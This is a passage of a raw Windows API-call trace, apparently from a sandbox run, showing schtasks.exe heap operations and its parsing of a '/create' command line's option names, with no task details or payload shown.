0x1ae83310000 [0131.468] GetProcessHeap () returned 0x1ae83310000 [0131.468] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313c60) returned 1 [0131.468] GetProcessHeap () returned 0x1ae83310000 [0131.468] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313c60) returned 0x5a [0131.469] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313c60) returned 1 [0131.469] GetProcessHeap () returned 0x1ae83310000 [0131.469] GetProcessHeap () returned 0x1ae83310000 [0131.469] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b620) returned 1 [0131.469] GetProcessHeap () returned 0x1ae83310000 [0131.469] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b620) returned 0x20 [0131.469] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b620) returned 1 [0131.469] GetProcessHeap () returned 0x1ae83310000 [0131.469] GetProcessHeap () returned 0x1ae83310000 [0131.469] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331bcc0) returned 1 [0131.469] GetProcessHeap () returned 0x1ae83310000 [0131.469] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331bcc0) returned 0x8 [0131.469] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331bcc0) returned 1 [0131.469] GetProcessHeap () returned 0x1ae83310000 [0131.469] GetProcessHeap () returned 0x1ae83310000 [0131.469] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b9b0) returned 1 [0131.469] GetProcessHeap () returned 0x1ae83310000 [0131.469] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b9b0) returned 0x20 [0131.470] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b9b0) returned 1 [0131.470] GetProcessHeap () returned 0x1ae83310000 [0131.470] GetProcessHeap () returned 0x1ae83310000 [0131.470] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331ab90) returned 1 [0131.470] GetProcessHeap () returned 0x1ae83310000 [0131.470] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331ab90) returned 0x10 [0131.470] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331ab90) returned 1 [0131.470] GetProcessHeap () returned 0x1ae83310000 [0131.470] GetProcessHeap () returned 0x1ae83310000 [0131.470] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b3e0) returned 1 [0131.470] GetProcessHeap () returned 0x1ae83310000 [0131.470] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b3e0) returned 0x20 [0131.470] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b3e0) returned 1 [0131.470] GetProcessHeap () returned 0x1ae83310000 [0131.471] GetProcessHeap () returned 0x1ae83310000 [0131.471] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331bce0) returned 1 [0131.471] GetProcessHeap () returned 0x1ae83310000 [0131.471] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331bce0) returned 0x6 [0131.471] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331bce0) returned 1 [0131.471] GetProcessHeap () returned 0x1ae83310000 [0131.471] GetProcessHeap () returned 0x1ae83310000 [0131.471] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b9e0) returned 1 [0131.471] GetProcessHeap () returned 0x1ae83310000 [0131.471] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b9e0) returned 0x20 [0131.471] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b9e0) returned 1 [0131.471] GetProcessHeap () returned 0x1ae83310000 [0131.471] GetProcessHeap () returned 0x1ae83310000 [0131.471] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314a60) returned 1 [0131.471] GetProcessHeap () returned 0x1ae83310000 [0131.471] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314a60) returned 0x18 [0131.471] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314a60) returned 1 [0131.472] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.472] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0131.472] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0131.472] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0131.472] RtlVerifyVersionInfo (VersionInfo=0x6088e7c460, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0131.472] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.472] lstrlenW (lpString="create") returned 6 [0131.472] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0131.472] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.472] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.472] lstrlenW (lpString="create") returned 6 [0131.472] GetProcessHeap () returned 0x1ae83310000 [0131.472] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b5c0 [0131.472] GetProcessHeap () returned 0x1ae83310000 [0131.472] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae8331a970 [0131.472] _memicmp (_Buf1=0x1ae8331a970, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.472] GetProcessHeap () returned 0x1ae83310000 [0131.472] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x16) returned 0x1ae8331a930 [0131.472] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.472] _memicmp (_Buf1=0x1ae83312130, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.472] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ae83319a80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0131.473] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x6088e7c5b8 | out: lpdwHandle=0x6088e7c5b8) returned 0x76c [0131.473] GetProcessHeap () returned 0x1ae83310000 [0131.473] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x776) returned 0x1ae8331bcc0 [0131.473] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1ae8331bcc0 | out: lpData=0x1ae8331bcc0) returned 1 [0131.473] VerQueryValueW (in: pBlock=0x1ae8331bcc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x6088e7c550, puLen=0x6088e7c5b0 | out: lplpBuffer=0x6088e7c550*=0x1ae8331c070, puLen=0x6088e7c5b0) returned 1 [0131.473] _memicmp (_Buf1=0x1ae83312130, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.473] _vsnwprintf (in: _Buffer=0x1ae83319a80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x6088e7c528 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0131.473] VerQueryValueW (in: pBlock=0x1ae8331bcc0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x6088e7c540, puLen=0x6088e7c5a8 | out: lplpBuffer=0x6088e7c540*=0x1ae8331bea0, puLen=0x6088e7c5a8) returned 1 [0131.474] lstrlenW (lpString="schtasks.exe") returned 12 [0131.474] lstrlenW (lpString="schtasks.exe") returned 12 [0131.474] lstrlenW (lpString=".EXE") returned 4 [0131.474] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0131.474] lstrlenW (lpString="schtasks.exe") returned 12 [0131.474] lstrlenW (lpString=".EXE") returned 4 [0131.474] lstrlenW (lpString="schtasks") returned 8 [0131.474] lstrlenW (lpString="/create") returned 7 [0131.474] _memicmp (_Buf1=0x1ae83312130, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.474] _vsnwprintf (in: _Buffer=0x1ae83319a80, _BufferCount=0x19, _Format="%s %s", _ArgList=0x6088e7c528 | out: _Buffer="schtasks /create") returned 16 [0131.474] _memicmp (_Buf1=0x1ae83314850, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.474] GetProcessHeap () returned 0x1ae83310000 [0131.474] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b620 [0131.474] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.474] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0131.474] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0131.474] GetProcessHeap () returned 0x1ae83310000 [0131.474] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x30) returned 0x1ae83313c60 [0131.474] _vsnwprintf (in: _Buffer=0x1ae83314290, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x6088e7c528 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0131.474] GetProcessHeap () returned 0x1ae83310000 [0131.474] GetProcessHeap () returned 0x1ae83310000 [0131.474] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331bcc0) returned 1 [0131.474] GetProcessHeap () returned 0x1ae83310000 [0131.474] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331bcc0) returned 0x776 [0131.475] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331bcc0) returned 1 [0131.475] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.475] GetThreadLocale () returned 0x409 [0131.475] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.475] lstrlenW (lpString="create") returned 6 [0131.475] GetThreadLocale () returned 0x409 [0131.475] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.475] lstrlenW (lpString="?") returned 1 [0131.475] GetThreadLocale () returned 0x409 [0131.475] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.475] lstrlenW (lpString="s") returned 1 [0131.475] GetThreadLocale () returned 0x409 [0131.475] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="u") returned 1 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="p") returned 1 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="ru") returned 2 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="rp") returned 2 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="sc") returned 2 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="mo") returned 2 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="d") returned 1 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="m") returned 1 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="i") returned 1 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="tn") returned 2 [0131.476] GetThreadLocale () returned 0x409 [0131.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.476] lstrlenW (lpString="tr") returned 2 [0131.476] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="st") returned 2 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="sd") returned 2 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="ed") returned 2 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="it") returned 2 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="et") returned 2 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="k") returned 1 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="du") returned 2 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="ri") returned 2 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="z") returned 1 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="f") returned 1 [0131.477] GetThreadLocale () returned 0x409 [0131.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.477] lstrlenW (lpString="v1") returned 2 [0131.477] GetThreadLocale () returned 0x409 [0131.478] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.478] lstrlenW (lpString="xml") returned 3 [0131.478] GetThreadLocale () returned 0x409 [0131.478] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.478] lstrlenW (lpString="ec") returned 2 [0131.478] GetThreadLocale () returned 0x409 [0131.478] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.478] lstrlenW (lpString="rl") returned 2 [0131.478] GetThreadLocale () returned 0x409 [0131.478] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.478] lstrlenW (lpString="delay") returned 5 [0131.478] GetThreadLocale () returned 0x409 [0131.478] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.478] lstrlenW (lpString="np") returned 2 [0131.478] GetThreadLocale () returned 0x409 [0131.478] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.478] lstrlenW (lpString="hresult") returned 7 [0131.478] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.478] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.478] lstrlenW (lpString="/create") returned 7 [0131.478] lstrlenW (lpString="-/") returned 2 [0131.478] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.478] lstrlenW (lpString="create") returned 6 [0131.478] lstrlenW (lpString="create") returned 6 [0131.478] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.478] lstrlenW (lpString="create") returned 6 [0131.478] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.478] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|create|") returned 8 [0131.478] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|create|") returned 8 [0131.478] lstrlenW (lpString="|create|") returned 8 [0131.478] lstrlenW (lpString="|create|") returned 8 [0131.478] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0131.479] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.479] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.479] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.479] lstrlenW (lpString="/tn") returned 3 [0131.479] lstrlenW (lpString="-/") returned 2 [0131.479] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.479] lstrlenW (lpString="create") returned 6 [0131.479] lstrlenW (lpString="create") returned 6 [0131.479] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.479] lstrlenW (lpString="tn") returned 2 [0131.479] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.479] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|create|") returned 8 [0131.479] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.479] lstrlenW (lpString="|create|") returned 8 [0131.479] lstrlenW (lpString="|tn|") returned 4 [0131.479] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0131.479] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.479] lstrlenW (lpString="?") returned 1 [0131.479] lstrlenW (lpString="?") returned 1 [0131.479] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.479] lstrlenW (lpString="tn") returned 2 [0131.479] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.479] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|?|") returned 3 [0131.479] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.479] lstrlenW (lpString="|?|") returned 3 [0131.479] lstrlenW (lpString="|tn|") returned 4 [0131.479] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.479] lstrlenW (lpString="s") returned 1 [0131.479] lstrlenW (lpString="s") returned 1 [0131.479] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.480] lstrlenW (lpString="tn") returned 2 [0131.480] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.480] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|s|") returned 3 [0131.480] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.480] lstrlenW (lpString="|s|") returned 3 [0131.480] lstrlenW (lpString="|tn|") returned 4 [0131.480] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.480] lstrlenW (lpString="u") returned 1 [0131.480] lstrlenW (lpString="u") returned 1 [0131.480] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.480] lstrlenW (lpString="tn") returned 2 [0131.480] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.480] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|u|") returned 3 [0131.480] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.480] lstrlenW (lpString="|u|") returned 3 [0131.480] lstrlenW (lpString="|tn|") returned 4 [0131.480] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.480] lstrlenW (lpString="p") returned 1 [0131.480] lstrlenW (lpString="p") returned 1 [0131.480] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.480] lstrlenW (lpString="tn") returned 2 [0131.480] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.480] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|p|") returned 3 [0131.480] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.480] lstrlenW (lpString="|p|") returned 3 [0131.480] lstrlenW (lpString="|tn|") returned 4 [0131.480] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.480] lstrlenW (lpString="ru") returned 2 [0131.481] lstrlenW (lpString="ru") returned 2 [0131.481] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.481] lstrlenW (lpString="tn") returned 2 [0131.481] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.481] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ru|") returned 4 [0131.481] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.481] lstrlenW (lpString="|ru|") returned 4 [0131.481] lstrlenW (lpString="|tn|") returned 4 [0131.481] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0131.481] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.481] lstrlenW (lpString="rp") returned 2 [0131.481] lstrlenW (lpString="rp") returned 2 [0131.481] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.481] lstrlenW (lpString="tn") returned 2 [0131.481] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.481] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rp|") returned 4 [0131.481] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.481] lstrlenW (lpString="|rp|") returned 4 [0131.481] lstrlenW (lpString="|tn|") returned 4 [0131.481] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0131.481] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.481] lstrlenW (lpString="sc") returned 2 [0131.481] lstrlenW (lpString="sc") returned 2 [0131.481] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.481] lstrlenW (lpString="tn") returned 2 [0131.481] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.481] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.481] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.482] lstrlenW (lpString="|sc|") returned 4 [0131.482] lstrlenW (lpString="|tn|") returned 4 [0131.482] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0131.482] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.482] lstrlenW (lpString="mo") returned 2 [0131.482] lstrlenW (lpString="mo") returned 2 [0131.482] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.482] lstrlenW (lpString="tn") returned 2 [0131.482] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.482] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.482] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.482] lstrlenW (lpString="|mo|") returned 4 [0131.482] lstrlenW (lpString="|tn|") returned 4 [0131.482] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0131.482] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.482] lstrlenW (lpString="d") returned 1 [0131.482] lstrlenW (lpString="d") returned 1 [0131.482] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.482] lstrlenW (lpString="tn") returned 2 [0131.482] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.482] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|d|") returned 3 [0131.482] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.482] lstrlenW (lpString="|d|") returned 3 [0131.482] lstrlenW (lpString="|tn|") returned 4 [0131.482] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.482] lstrlenW (lpString="m") returned 1 [0131.482] lstrlenW (lpString="m") returned 1 [0131.482] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.482] lstrlenW (lpString="tn") returned 2 [0131.482] _memicmp 